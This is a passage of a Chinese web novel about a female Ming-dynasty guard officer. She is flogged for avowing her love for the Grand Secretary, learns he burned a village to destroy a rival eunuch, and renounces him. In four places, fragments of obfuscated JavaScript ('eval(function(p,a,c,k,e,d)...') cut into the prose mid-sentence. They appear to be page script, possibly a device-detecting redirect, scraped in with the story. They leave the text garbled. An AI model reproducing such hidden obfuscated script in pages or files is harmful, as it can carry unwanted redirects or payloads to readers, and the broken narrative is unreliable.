景暄和停住了脚步,“总之,我不会放弃他,我总在想,如果我这次放弃他了,以后再遇到类似的困境,是不是要放弃更重要的东西呢?比如,信仰,又比如,我的良心,我不想做一个逐渐放弃自己底线的人。” “所以你的意思是,万大人是你的底线?” 她一怔,旋即点点头。 他却陷入了沉默。 二人不知不觉地走到了阿呆的家门口。 老妇人似乎在门口等他,给他留了一盏灯。 灯光如豆,小小的茅草房在无边的夜色中如温暖的港湾一般。 景暄和突然有些羡慕起阿呆来,起码他还有爱自己的父亲和母亲。 她对着那老妇人点点头,又对阿呆说:“别想那些有的没的了,快去找你娘亲吧,她还在等你呢。” 他失神地点点头,往“家”的方向走去。 可他知道,那不是他的家。 只有绿竹林才是他的家。 *** 景暄和独自走在夜间的路上。 她只觉得很累,想要好好睡一觉,暗夜中的巷子很黑,伸手不见五指,只有月光给她引路。 突然,一只冷箭从后面放了过来。 她迅速地侧身,却还是伤了臂膀。 顾不得疼,她按住手臂,向后望去。 身后站着十名刺客,隐在黑夜中,仿佛与夜色融为一体。 景暄和眼皮一跳,难道这些人不仅要万渊的命,还要她的命? 这一夜,注定是个不眠之夜。 可睡不着的又何止是景暄和? 竹林中,秋风阵阵,快到早晨时,乳白色的大雾笼罩着竹林,一夜过去,竹叶好像变黄了,不复之前的翠绿。 阿衡匆匆而来,“先生,万大人还是昏迷不醒,到底是谁假借您的名字给他写的信?” 黎正说:“反正不可能是魏福忠,他的一举一动已在我们眼中,应该是另外一人,可那人却有如此大的权力,竟能调动那么多刺客,绝对不简单,况且那人还知道我与万渊的关系,能如此惟妙惟肖地模仿我的字迹,连万渊都骗过去了。” 阿衡有些心惊担颤:“难道是皇上想除掉万大人?” “不可能,皇上需要平衡权力,若是万渊死了,就没人能制衡魏福忠了,况且,看在贵妃的面子上,他也不会动万渊的。” “那会是谁呢?” “目前还未可知。”黎正淡道:“有点意思,皇室里还隐藏着如此的能人,我还真是小瞧了他们,也不知是宫里的人,还是宫外的王爷。” “那么先生下一步打算如何呢?” 黎正没有正面回答他,只是道:“从他的眼神中我看出来了,她是他此生不可再得的温暖,对于万渊这种人来说,为了留住这份温暖,他会不惜一切代价,这便是他的软肋。若是谁试图毁掉这份温暖,你猜,他会做出什么疯狂的事情?” “先生的意思是?” “人越在意什么,就越会被什么所牵动而失去理智。该怎么办便怎么办吧,等他醒来过后,一切,都会不一样了。” 阿衡似乎有些云里雾里,可是看黎正的神情,又觉得,一切尽在他的掌握之中。 “先生,万大人如今昏迷不醒,真的要这么做吗?” “他可是万渊啊,我相信,这昏迷也只是暂时的,对待他,我只能保证,不伤害他的性命,可是其他的,却什么也保证不了了。” 阿衡躬身应道:“那先生需要我给魏福忠传递什么信息么?” “既然她说,无论如何也放不下万渊,那么就让她选吧,是选自己的前途,还是选万渊。”黎正顿了顿,一字一句道:“让她当着满朝文武和皇上的面来选!” *** 翌日。 景暄和随着大臣们往金銮殿的方向而去。 她的嘴唇有些发白,脸色也不好,全凭着一股精神才勉强地立住。 昨夜的刺客武功很高,她拔出绣春刀与他们周旋,在砍倒三个敌人后,她大口地喘息着,靠在巷子的墙壁边,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陛下,无论我与万大人有没有感情,都不会影响我们对陛下的忠心啊。”景暄和直言道。 魏福忠冷笑一声,“这可说不准啊,若景大人嘴上说对陛下忠心,背地里却和首辅大人蝇营狗苟,那岂不是会让满朝文武不安啊。再说了,若各位大人都将自家的女眷送来朝中做官,那岂不是全乱套了?到时候各种关系盘根复杂,大明的朝堂岂不真成儿戏了?” 他故意将这件事的严重程度拔高了,果然见到朱懿德的脸色阴沉了几分。 景暄和突然觉得,这金銮大殿看起来很陌生,刺眼的阳光让她有些晕眩,一时竟升出茫然无措的感觉。 她深知,她如今也面对着属于她的“世间安得两全法”了,她必须做出选择。 可她真的能够做到“不负如来不负卿”吗? 她的“如来”是官位与前程。 她的“卿”是万灵安,她心爱的人。 难道,必须要二者选其一吗? 122. 反抗无罪! 四周一片安静,仿佛连针掉在地上都听得一清二楚。 众人都在等待着她的回答。 “臣是皇上一手提拔的,臣不敢欺瞒皇上,”景暄和高声道:“臣是真心倾慕首辅大人的,无可否认!” 满朝文武都震惊了,她竟然……就这么承认了?! 可这女子的目光干净明亮,让人生不出一丝肮脏的念头。 朱懿德沉默了许久,终于说:“景爱卿,你知道自己在说什么吗?” “回陛下,臣当然知道自己说的话,可这全是臣的肺腑之言。自入仕以来,臣自问一直兢兢业业,不敢有负皇上的期待与恩德,皇上交给臣的案子,臣就算豁出性命也会解决。可是对万大人,臣的确是真心爱慕,臣也从未因私废公……所以,仕途前程与对万大人的倾慕,这两件事对我来说从来就没有冲突。” 魏福忠眼神阴冷,其实他之前也猜到了这二人也许早就生了男女之情,可是他一直觉得,对于景暄和这种一心想升官进爵的人来说,她是绝对不会承认自己的私情的,毕竟在魏福忠心中,人生在世,什么真心感情通通都靠不住,只有向上爬得到的权力才是真的。 从始至终,他都坚守着这个观念,才能攀到如今的位置。 魏福忠一直以为景暄和与自己是一类人。 今早,那人却劝说自己,将此事摊到明面上——若她不承认,那么她与万灵安日后便再无可能,只能成陌路了,若她承认了,就要做好承受陛下雷霆之怒的准备,甚至,会丢掉性命。 对于聪明人来说,当然会选择第一条路,毕竟性命还是最重要的事情,没有了性命,就什么都没有了。 可是出乎魏福忠的意料,她居然选了第二条路,还在大庭广众之下毫不犹豫地承认了。 她坦然地面对了自己的内心,也坦然地面对了自己的命运。 即使这命运是迷茫的,前路是未知的。 “大胆!”朱懿德突然一拍龙案。 “冲突不冲突是朕说了算,而不是你说了算的!”他额头似乎有青筋冒起,“你不过是一个区区的四品锦衣卫佥事,还想蛊惑百官之首,大明的堂堂一品首辅么?” “臣从没有蛊惑过万大人!臣与万大人是真心相爱的陛下!”景暄和被他突如其来的怒气弄得一愣,随即大声道:“我与他虽地位上不平等,可我们的精神是平等的,难道在陛下心中,真心相爱也是错?陛下就这么容不得世间的一颗真心吗?” 朱懿德用手捂着头,紧紧地闭上眼睛。 他的头痛又犯了。 “忤逆圣颜,实在是大胆!”魏福忠煽风点火道:“陛下是要将她废为庶人么?亦或是给她一杯毒酒,直接送她上路?” “魏厂公,这是我与陛下的对话,容不得你在一旁挑拨煽惑!是非对错陛下自然有圣断!”她朗声说。 众朝臣都觉得这姑娘实在是有种,居然敢正面刚魏福忠这令人闻风丧胆的东厂督主,简直比寻常男子还要有胆色。只是后果嘛,却是令人堪忧。 魏福忠一向有仇必报,更何况在朝堂上如此赤裸裸地被驳了面子。 朝臣们一齐向魏福忠望去。 只见他眼神如刀,泛着凌人的寒意,突然将桌上的奏折扔下来,直直地砸到了景暄和的脸上。 “我看你是不想活了!难道你想尝尝东厂里的刑法吗?”他话语寒凉,用拂尘直直地指着她,气势逼人,“咱家肯与你周旋已是给了你天大的面子,若你再反抗,抽筋剥皮的事咱家也不是没干过!” 景暄和被砸得一怔,本就雪白的脸色更白了一分。 出乎人意料的是,她捡起那奏折,反手就砸回了魏福忠的脸上。 “砰——” 魏福忠脸上被砸了一道红印,他不可思议地盯着她,像见了鬼一样。 “这面子不是你给的,是我自己挣的!”景暄和怒斥道:“奸佞!你才是蛊惑圣心,这些年来,有多少亡魂死于你的手下?你数得清么!与你同在一座殿中,我只觉得耻辱!” 朝臣们屏气凝神,第一次看到魏福忠被人砸了回去,简直是解气,没想到这女子竟做了他们敢想却不敢干的事情。 “主子万岁爷……她……她竟敢?!”魏福忠脸都气得扭曲了,太阳穴凸凸地跳,他捂着脸,难得的有些可笑。 朱懿德抬了一下手,打断了魏福忠的话。 他缓慢地睁开眼睛,郑重道:“景爱卿,朕再问你最后一次,若你愿意承认自己错了,与首辅大人一刀两断,朕可以不追既往,只罚你三个月的俸禄,以示惩戒。这,便是朕对你最后的仁慈了。” 景暄和紧攥着衣角,垂下头,只感觉手指的关节在嘎嘎作响。 “多谢皇上恩典。”她缓缓地,一点一点地抬头,道:“只是,臣、无、错。” 声音清冽,响彻整个金銮大殿。 殿上又陷入了一片沉默,大臣们都敛声屏气,事情的发展已经大大地出乎了他们的意料,谁也不敢多说一言。 终于,朱懿德说话了。 “既然你一心找死,就怪不得朕了。”他揉了揉太阳穴,冷声道:“将她拖到午门外,先梃杖三十,再行发落!” 阳光炫目,景暄和只觉得大脑一片空白。 东厂的厂卫走过来,一左一右地架起了她的胳膊。 大片大片的空白中,她不知怎的便回想起一段话,那是她之前读过的一本书。 “光说人们应该满足于安宁的生活,没有一点儿用处;人总得行动,即使找不到方向,也得自己创造。千百万人注定在沉默中消亡,千百万人在默默反抗自己的命运。 谁也不知道芸芸众生中还有多少反抗正在酝酿。”(1) *** 这一天,景暄和不知道怎么结束了梃杖,也不知道怎么回到府里的。 倒不记得多痛,只记得那耀目的阳光让她耳热眼花,为什么电视剧里面的梃杖都是漫天大雨,而轮到她却是骄阳似火,连雨的遮挡都没有。 明明已经是秋日了,太阳却那么烈,那么猛。 身体上的痛倒是其次,可精神上呢? 那一双双路过的眼睛仿佛一把把刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的意识越来越模糊,帕子的冰凉却让她感到安宁,终于,她沉沉地睡去,什么都不管了。 圣上的处罚和魏福忠的刁难都不如睡觉重要,她只想好好睡一觉。 放下所有烦恼,好好地睡一觉。 明天再面对这一切吧。 不知过了多久,清晨的第一缕阳光洒在了房间内,外面是淡淡的雾气,阳光一出来,雾气好似全部散开了。 他该走了。 他眷恋地凝望着她,仿佛想将她的样子刻在心中,终于低下头,吻住了她的唇。 他的吻带着一种难以掩饰的决绝,仿佛下定了什么决心。 “我会杀了他,哪怕付出任何代价。” 那人只留下一句没头没尾的话就走了。 只是,他的眼中似乎跳跃着疯狂的火光。 123. 疯子 半月后。 在若薇的照顾下,景暄和终于捡回了一条命。 只是,当她问他们那日有没有人过来,却没有一个人承认。 也许真的是她的幻象吧,景暄和心想。 听人说,万灵安醒了,可是,他却没有再过来景暄和的府邸,皇上说让他先好好养病,等身体养好了,再谈论与景暄和的事情。 景暄和知道,这一定是明贵妃从中斡旋的,哪怕为了万灵安,明贵妃也会帮助他们。 圣上的诏书还没有下达,景暄和这些天仿佛在等待自己的宿命,可是,将命运交给别人裁判,这种感觉真的很不好,她很不喜欢这种被动的感觉。 京中不知怎的就流传一个消息,说有人已经找到了那藏宝图,就在河边村。 一石激起千层浪。 魏福忠虽然被禁足,却没闲着,他放出狠话,说一定要为陛下找到,即使他得不到,也不会让别人得到。 话虽然冠冕堂皇,可是谁都知道,他明面上是为了陛下,实际却是为了自己。 房门被敲了敲,茗泉进来了。 茗泉是景暄和之前的小厮,也是她从路边买回来的可怜人,那日他卖身葬父,景暄和路过觉得他可怜,便将他带回府里了,只是他以前的名字“阿彘”十分草率,所以她帮他改了一个名字。 他送来了高大虎的一封信。 信中,高大虎说河边村好像多了一些人,来自一股神秘的势力,他们四兄弟还需要多多查探一番。 其实景暄和之前已经知会过高大虎他们了,自己如今前途未卜,他们还是去别人手下当差比较好,可是高大虎他们却说,要誓死效忠她一人,让她十分感动。 现在她唯一能做的,就是等待陛下的决定了。 谁知道,惊变却从河边村传来。 村子突然起了大火,那火绵延不绝,久久不熄。 景暄和看茗泉吞吞吐吐的样子,觉得不对,一问才知道,河边村出事了。 她爬下床,慌忙让小厮们备轿,往河边村而去。 一路上,她的心都“突突”地跳,一种不祥的感觉如大雾弥漫在心头。 锦衣卫四兄弟还在河边村,阿呆今天早上也去了那儿支援,她真的很害怕,害怕他们出事。 在若薇与茗泉的搀扶下,她来到了河边村的村口。 村子的木牌已经掉了下来,像残破的布偶,里面仍然是一片火光,这大火仿佛与天接壤,焦炭的气味扑面而来,层层叠叠的木屋全部被大火吞噬,灼热的气息仿佛要将她烧焦,好像末日一般的场景…… 景暄和只觉得自己的脚像踩在棉花上,连身体也软软的,跌倒在地上。 参天的火光中,只有阿呆逃了出来。 他的后背被烧伤了,整个人倾颓无比,直直地摔到了地上。 “老大,我本来想过来帮忙,可是……可是我……” “别说了!”景暄和的声音发颤,整个人抑制不住地颤抖。 “他们呢?高大虎他们呢?” 阿呆绝望地摇了摇头。 “那么其他村民呢?” 阿呆又摇了摇头,只说了三个字。 “全死了。” 全死了…… 景暄和喃喃地重复了一遍,似乎不敢相信自己的耳朵。 “这怎么可能……” 她突然爬起来,想要冲到大火中,却被丫鬟与小厮抓住。 “让我进去!”她大声呼喊道:“求你们放开我!我要去救他们!” 若薇只是死死地抓住她的手臂,“景大人,他们已经死了。” 她的话仿佛宣判了他们的死刑。 景暄和直勾勾地望向了那村子。 一定是他们在骗她的…… 怎么可能呢…… 今天早上她还收到了高大虎的书信,那信现在还在她的桌案上,可是现在却告诉她,高大虎他们都死了,葬身在了这大火中,全都没有逃出来…… “不!” 高大虎。 张二越。 齐三陌。 赵四梁。 这四个熟悉的名字,难道就要从她的人生中被抹去了么? 她不愿接受这个事实,多么希望此时是一场梦! 到底是谁放的火! 到底是谁! 她的心底仿佛有一头怪兽在咆哮嘶吼。 …… 这场火烧了三天三夜才熄灭。 一切都被烧成了灰烬,这座村子也不复存在了。 目击者看到,有东厂厂卫打扮的人半夜潜入了村子,还带上了打火石,除此之外,从废墟中还搜到了东厂之人掉下的金牌。 民怨沸腾,众多百姓跪在午门外,请求皇上处置东厂厂公魏福忠。 一日后,又有之前皈依东厂的大臣上奏,他们反水说魏福忠曾给明贵妃下过药,贵妃一直未孕便是魏福忠的手笔。 而魏福忠之前联络齐王的事情也被翻了出来,其中还有一封齐王亲笔书写的信件,上面写着“与厂公共谋大事”的字样。 圣上大怒,将魏福忠下狱,连带着齐王也被抄家了。 三日后便会对魏福忠施行凌迟之刑。 这一切的源头都是河边村的那场旷世大火,若没有那场大火,魏福忠不可能这么容易被搬倒,只能说他是自作自受。 可是,真的值得吗? 死了那么多人,就为了除掉一个魏福忠? 昏暗的牢狱中,景暄和由狱卒引领着,前往了魏福忠的监牢。 他一身囚服,似乎在闭目养神,听到有人来了,才慢慢睁眼。 见是景暄和,他的眼中闪过一抹讶色,片刻便消失了。 “怎么是你?”他冷笑了一声,“我还以为是我们首辅大人来送我最后一程呢,毕竟我与他,可是斗了那么多年呢。” 景暄和没有说话,只是来到了他的对面,盘腿坐下。 “魏福忠,我曾经很讨厌来到这座诏狱,可是一想到你如今在这里,我就想迫不及待地过来。” “景大人,需要这么直白吗?我还以为,你会带一壶酒过来呢。” “你不配喝我的酒。”景暄和微笑道,这笑中带着冷意。 魏福忠也不恼,只是笑了一声。 “听人说,于景涟大人当年最后就是在这座牢狱中离开人世的……和你一模一样的位置。” 听她说起“于景涟”这三个字,魏福忠好像一点都不惊讶,仿佛是早就预料到了。 “我一直都在想,于大人在死去的前一夜到底在想什么呢?他会不会对这个黑暗的人世间感到失望呢?会不会觉得,这污浊的大明已经再也没有希望了呢。” “失望?人对世间失望不是很正常的事情吗?”魏福忠讽刺一笑,“没有经过这失望,就不能放弃一些东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你在说什么啊?”景暄和的眸子有片刻的失神,连瞳孔都不觉地放大了,“河边村的那把火,不是你放的吗?” 魏福忠像是听到了什么最好笑的笑话,“我?这怎么可能!” 接下来,他说的每一个字都让景暄和震惊。 “都说人之将死,其言也善,如果是我放的,在这个节骨眼上,我不会不承认。那是万灵安放的呀,我们的首辅大人,看起来如清风朗月,可是皮下的那颗心肠还真是冷硬,连我都自愧不如呢,那么多人,他就这样,眼睁睁地看着他们,一命呜呼了……” “你闭嘴!这不可能!”景暄和双手紧握,手上青筋乍现,“他不可能害死那么多人!” “因为你爱他,所以你不相信,可是,这是真的啊。”魏福忠突然大笑起来,“真是可笑,你以为你是在和我斗嘛?错了,都错了!我的背后是圣上,你们是在和圣上斗啊!我死了,还会有另外的宦官来接替我,我看黎振就很不错啊,你们能斗得过他么?” “你这个疯子,你别再说了!”景暄和捂住耳朵,拼命地不去听他的话,仿佛只要不听,这一切就不是真的。 “说到底,我不过是皇家的白手套罢了,只要有皇权在,争斗永远也不会休止。我会在地下等着,你和万灵安,你们总有一天会下来陪我的!” 他的声音回荡在冰冷阴湿的牢狱中,让人心中一窒。 124. 终身之敌 从诏狱中回来,她只觉得层层的乌云从天的尽头涌了上来,阳光已不再,可是雨点又无法落下。 景暄和就这样在大街上走着,仿佛周边的一切都成了虚幻。 明明是无比嘈杂的街道,可她仿佛什么都听不到了,什么也看不到了,连路人赶马车经过,她都没有躲避。 那人本想开骂,看到她如寒冰一般的眼神却又像被吓到了,只是匆匆忙忙地挥鞭离开。 她的心头涌上了恨意,这恨意漫上了她的四肢百骸,她感觉到自己也像被无边的大火给焚烧,就快要毁灭了。 怎么会是他。 怎么能是他? 是他放的火…… 她失魂落魄地走着,再一回过神却发现身旁是熟悉的景象。 不知不觉间竟到家门口了。 *** 这天是魏福忠被处决的日子。 百姓们争相去看,恨不得生啖其肉,可是景暄和却没有去,只是给朱懿德上了一份奏折。 奏折中,她自请去望春县帮助汪常青剿匪,在最后,她写道:“臣犯了大错,今后绝不会与首辅大人有任何瓜葛,臣自请贬官剿匪,望将功补过。” 朱懿德似乎有些惊讶于她的变化,只是朱批了一字: “准。” 雾气氤氲的温泉池中,女子衣衫尽褪,缓缓入了池中。 她的眼神空洞,似乎在思考什么,又好像什么都没有想,只是在发呆,温泉的雾气将一切都笼上了不真实的幻影。 历史上记载,魏福忠是在九年后,也就是永熙十二年被处死了,而如今他在永熙五年就死了,时间提前了整整七年。 她不知道这个变化会带来怎样的后果,此刻的她,只想自己一个人待着。 河边村传来消息,那日活着的不止阿呆一人,还有一个痴傻的小女孩也捡回了一条性命,女孩子连话都说不清楚,只是一直重复着“冰块脸”三个字。景暄和猜想,是赵四梁舍去性命救的这个女孩,那女孩躲在水缸中才逃过了一劫。 只是她呆呆傻傻的,所有亲人都死了,景暄和只能将她送到了养济院中,还给了银子让管事的好生照顾。 这些天,她每日都去养济院陪小女孩,哪怕只是坐在一旁,看着她玩耍。 她还去探望了高大虎他们的亲人,这些人的每一滴泪水都刻在了她的心中,齐三陌的女儿才三岁大,大人哭,她也哭,仿佛不知道自己在哭些什么。 这一切的痛苦的根源都是他。 万灵安。 …… 温泉水暖。 她将玉簪拔下,任如瀑的青丝垂下,将整个身体都浸没到池子中。 这时,外面传来一阵喧嚣,打破了这寂静, “万大人,你不能进去,景大人正在沐浴呢!”若薇急匆匆地拦住万灵安。 “让他进来。” 她的声音在雾气中是那么朦胧。 他似乎有些彷徨失措,就这样直直地走了进来,她在池中抬头看着他,无悲也无喜,她的面容隐在雾气中,却让人感到一种鬼魅的感觉,好像暗夜中的幽灵,有种惊心动魄的美丽。 “可否待我穿上衣裳?” 她的声音冷淡的出奇,万灵安一愣,缓缓地退到了屏风后面。 她只穿一件素色的宽袍,垂坠到地上,长发飘散,随意地插了一根簪子。 “这里不是说话的地方,我们出去吧。”她冷道。 院中种着桂花树,正是金桂飘香的时节,微风一吹,便有桂子落到了她的头上。 他想帮她摘下来,却始终没有抬手。 她冷淡的目光让他不敢动弹,仿佛他连呼吸都是错了。 “是你吗?”她突然抬头,声音极轻。 万灵安没有说话,只是定定地看着她。 “河边村的那场大火,到底是不是你放的……”她又问了一遍,目光很明显地一沉。 风突然变大了,空气中弥漫着潮湿的气息,连带着枝丫也凌乱地摇晃。 “是我。” 他没有否认。 景暄和痛苦地闭上了双眼,她深深地吸了几口气,强迫自己冷静下来。 再度睁眼时,她看他的目光愈发陌生了。 “高大虎最后的信中说,河边村有一股神秘的势力,应该就是你的人吧。”她缓缓地,一字一句道。 万灵安的身形僵硬起来,他说:“是我。” “难道为了斗倒魏福忠,你便要那一村子的人来陪葬吗……万灵安,你到底有没有心?我总说魏福忠是一个冷心绝情的怪物,原来你,和他是一样的啊,你们都是杀人不眨眼的怪物!” 这一次,她没有再叫他“万渊”,而是和所有人一样,叫他“万灵安”。 他们之间已经没有了半分亲昵,剩下的,只是前所未有的冷淡。 万灵安突然想起他母亲去世的那一晚,他没有流下一滴眼泪,他们也叫他“怪物”,而如今连她都认为,他是无可救药的怪物了吗。 只是,怪物就怪物吧,无所谓了。 此时的他甚至觉得,只要她能消气,就算用世界上最恶毒的语言来诅咒他,他也不会在意。 万灵安沉默了一下,道:“魏福忠,他伤害了你,你受过的梃杖,全是因为他,他必须付出代价!” “这是我的事情,如果我知道你会恐怖如斯,我一开始就不会……就不会……我们本就不该在一起的。” 似乎要否认他们的所有过往。 她的表情太过决绝,决绝之后便是死一般的寂静。 一种名为恐惧的情绪涌上心头,他的嘴唇苍白,说:“我可以解释。” 她只是冷冷地盯着他,目光寒凉。 “在放火之前,我早已暗中布局,要村民们全部撤离,可是,联络人却被神秘地杀死了,消息最终没有传递出去。” “可是放火烧村是你的命令,不是吗?” “害死他们,绝非我的本意,我不知道那人被杀了。” “那你找出是谁杀了你的联络人么?” 万灵安没有说话。 “呵,那就是没有了……堂堂的大明首辅,算无遗策,却在阴沟里翻船了。其实你早就查到了明贵妃被下药以及魏福忠私联齐王吧,只是却没有确凿的证据,因为河边村的事情惹了众怒,魏福忠的党羽才会倒戈,亲手递给你那些证据,首辅大人,恭喜你,从此以后,朝堂之上再也没有你的绊脚石了。魏福忠再厉害,也终是你的手下败将了,多年的心腹大患一朝根除,首辅大人,你不高兴么?” 她嘴角明明带着笑,可是这笑却毛骨悚然。 他想抓住她,她只是退后了一步,嫌恶地望了她一眼。 她的眼神如一根毒刺,狠狠地刺到了他的心中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她摇头说:“如果我杀了你,圣上必会让我给你抵命,这太不值了,我才不要和你一起死呢,黄泉路上,我才不要与你相伴。” 她像是用这个理由来说服自己。 万灵安的眼神带着痛楚,眼眶仿佛染上了红色。 “我会去望春县,我会好好地生活,连带着他们的那份一起,好好活下去。”她顿了顿,“只是,你我只能是死敌,这辈子再无任何可能。” 血色的晚霞像熊熊的烈焰,在天边无穷无尽地燃烧着。 她转身,向后走去,重重地关上门。 万灵安还在屋外,她看不清他的目光,此时的她觉得,也没有必要看清那目光了。 她将后背抵在门上。 她知道,他们此生,也会走向截然不同的两条路了。 *** 第二天一早,她便与徐芃敏驾着车前往望春县了。 出了顺天府不到几里,马车却被拦下了。 那人一看便是外邦之人,景暄和记得,自己曾在麦娜尔的身边看过那人。 “四眼佛”的案子后,麦娜尔就与暹罗王子查库莱闹和离了,麦娜尔的理由是,西域一向虔诚重佛,而查库莱的所作所为却玷污了她的信仰,实在是让她难以忍受。 二人大吵一架,查库莱便率先离开了,只是景暄和不知道,麦娜尔居然还在顺天府,甚至想着与自己单独见面。 仆从低声道:“暹罗王妃,不,现在是西域公主殿下了,她想与景大人,做一个交易,事关河边村的藏宝图,不知景大人,有没有兴趣呢?” 【第六案完】 125. 强强联手 麦娜尔站在河边,一身淡紫色的衣衫,仿佛一朵盛开的昙花。 看到景暄和来了,她只是浅浅地点了点头,将面纱取了下来,露出一张浓艳的美人脸。 “景大人,这是我们第一次单独谈话吧。”她语调虽然稀松平常,可是眉梢眼角的笑意却阻挡不住。 景暄和问她:“公主有什么喜事,怎么如此开心?” “若能与那人和离,岂不是最大的喜事?”她答道,又问景暄和:“景大人,我虽不在大明,可也知道,你与东厂厂公魏福忠一向不睦,如今他死了,景大人不觉得畅快吗?” “不过是两败俱伤罢了,他死了,可是我也只能离开顺天府了。” 麦娜尔微微一笑:“景大人,我相信,凭借你的能力,这困顿也只是暂时的,能困得住你一时,却困不住你一世。” “多谢公主的宽慰。” 麦娜尔继续道:“之前为了藏宝图的事情,魏福忠的人找过我,却被我回绝了,他一向臭名昭著,我可不想和宦官扯上关系,在我心中,还有更重要的事情等着我去做呢。” 景暄和缓缓道:“那么在公主心中,到底什么是更重要的事情呢?” 麦娜尔立在河边,微风吹起了她的裙裾,她扬起下巴,目光坚定地说:“我只想做西域的女王,效仿当年的古精绝国女王一般,成为一方霸主,而不是做什么没有实权的暹罗王妃!我做梦都想回西域,我想念连绵起伏的天山,想念牛羊成群的那拉提草原,想念湛蓝秀美的赛里木湖……” 景暄和似乎有些惊讶,眼前的女子丝毫没有掩盖自己的野心,而是将自己的心思对她和盘托出,没有一丁点隐瞒。 “我想回家!只有找到宝藏,父王才可能想起我这个女儿,知道我是个有用的人,我希望他能接我回去!这也就是我派人潜伏在河边村的目的。而他们幸不辱命,真的给我传递过关于那宝藏的消息,只是我猜不透那消息是什么意思,所以才命令他们继续潜藏在河边村,谁知,他们却遭到了不测。” “那么公主殿下找我来,是想我帮你破解那消息的奥义?” 景暄和细细地端详麦娜尔的表情,她负着手,大方而自信地说:“是,也不是,后来我想通了,宝藏只是我取悦父王的一种方法,可是,现在的我,早已经不需要取悦任何人了。我并不需要靠父王将我接回去了,靠着我自己,也能杀出一条血路,总有一天,我会堂堂正正地回家,这一切的前提是,只要没有哥哥的阻拦。” 景暄和思索了一下,说:“查库莱似乎与您哥哥有着千丝万缕的联系。” 麦娜尔冷笑道:“我的夫君收受了我哥哥的贿赂,想要困住我,让我一辈子都不离开暹罗,成婚后,他有一个又一个的女人,可是我一点也不在意,我不是困于后宫深宅的女人,我和她们不一样,这次我一定要回家,成为西域的女王!” 她的眼中仿佛闪烁着睥睨苍生的锋芒,此时的她,好像一个猎手对着猎物充满了自信。 “您与您的哥哥,似乎芥蒂颇深呐。” “那不是芥蒂,只是王位上最终只能容得下一人,这一切不过是我与他的角逐罢了。”麦娜尔顿了顿,说:“我的手下告诉我,你之前和阿吉有过交集,而阿吉便是哥哥手下最得力的杀手。” 阿吉…… 麦娜尔让侍从递给她一副画像,画像中的男子正是那日在清水禅寺中袭击景暄和的人,也是与景暄和在山洞中相处了一夜的人。 原来他的名字叫阿吉。 “景大人那般聪明,一定知道阿吉的行踪吧,若是找到了阿吉,便等于找到了哥哥在顺天府的联络点,若是我派人捣毁那窝点,就相当于斩断了哥哥在大明的耳目。这些人是哥哥的精锐,若能抓住他们,让他们吐出些更有意思的东西,一定能动摇我哥哥在父王心中的地位。” 景暄和还记得,那一日她偷偷将阿吉的尖刀上涂上了木若花的花粉,她豢养的紫蜂可以追踪花粉的气味,后来,她确实知道阿吉去了哪里,只是因为和案子无关,便放过了这条线索。 没想到如今,这线索却对麦娜尔有着大用处,也算没有白费时间。 “公主的意思是,想我与你联手?” “正是,与我联手,对你来说绝对是一笔划算的买卖,只要你告诉我,我哥哥手下的联络点,我便告诉你藏宝图的秘密。” 景暄和心想,单说她自己,其实对那宝藏没有半分兴趣,可是,当年于歌笛的父亲于景涟大人便是因为这藏宝图而家破人亡的,如果在她手中能够窥破这图的秘密,那么,对于这些无辜枉死的人来说,是不是一种慰藉呢? “好,我答应你。”景暄和说道,“为表诚意,我会告诉你阿吉最后落脚的地方,那是顺天府的成归药材铺,我猜想,那便是你哥哥的暗线们接头的地点。” “很好,多谢景大人。”麦娜尔的眼中绽出一抹喜色,“那么我便告诉你藏宝图的秘密吧。” 她说,她的手下查到,于景涟有一名老仆隐姓埋名在河边村,这仆人已经改名换姓过,而且年岁颇大,所以没人将目光放在他的身上,他们都以为这图在河边村,可这不过是障眼法罢了,于景涟只和老仆留下了一句诗,让他好好记住,一辈子也不要忘记。 “是什么诗呢?”景暄和有些好奇。 也许这句诗,便是找到图纸的关键信息。 麦娜尔凑近她的耳朵,小声而清晰地说:“水入归墟长不枯,稳卧一叶凌苍虚。” 这是元代诗人丁复的一句诗,只是不知于景涟为什么会单独留下这一句。 景暄和默默地念了一遍这诗,将它刻在了脑子里。 麦娜尔突然说:“景大人,不知怎的,见到你我总有一种亲切的感觉,可是我也说不出那是什么,也许便是你们汉人经常说的‘缘分’吧,我们之前都被困住了,可是往后,天高任鸟飞,我想,我们一定会再见的。” “我也期待我们以后的见面,那时,我希望不再叫你公主殿下,而是叫你女王陛下。” 麦娜尔突然笑了,她赞许地望着景暄和,道:“景大人,借你吉言了,若我真的如愿以偿当上西域的女王,那么西域的大门将永远向你敞开。” *** 回到原处时,徐芃敏有些担忧,拉着她从上到下看了许久:“景姐姐,他们没有为难你吧。” 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她是真的爱过他,可是,如今也是真的憎恨他。 她恨他的狠心,也恨他的疯魔。 那把火不光烧掉了整个村子,也烧掉了他们之间的感情。 她强迫自己振作起来,好好收拾行李,仿佛只要忙起来,就能忘记他们之间的羁绊。 可是不行,越是想忘记什么,越是放不下什么,过往的记忆如潮水般涌上心头。 她突然看到他们的定情信物,那是一只橙色的玉坠金鱼,她一直好好地收藏在柜子里,放在最里面,生怕被摔碎。 七夕的时候,这是她买给他的生日礼物。他一只,她也一只,两只金鱼可以拼起来,可是如今,却再也拼不了了。 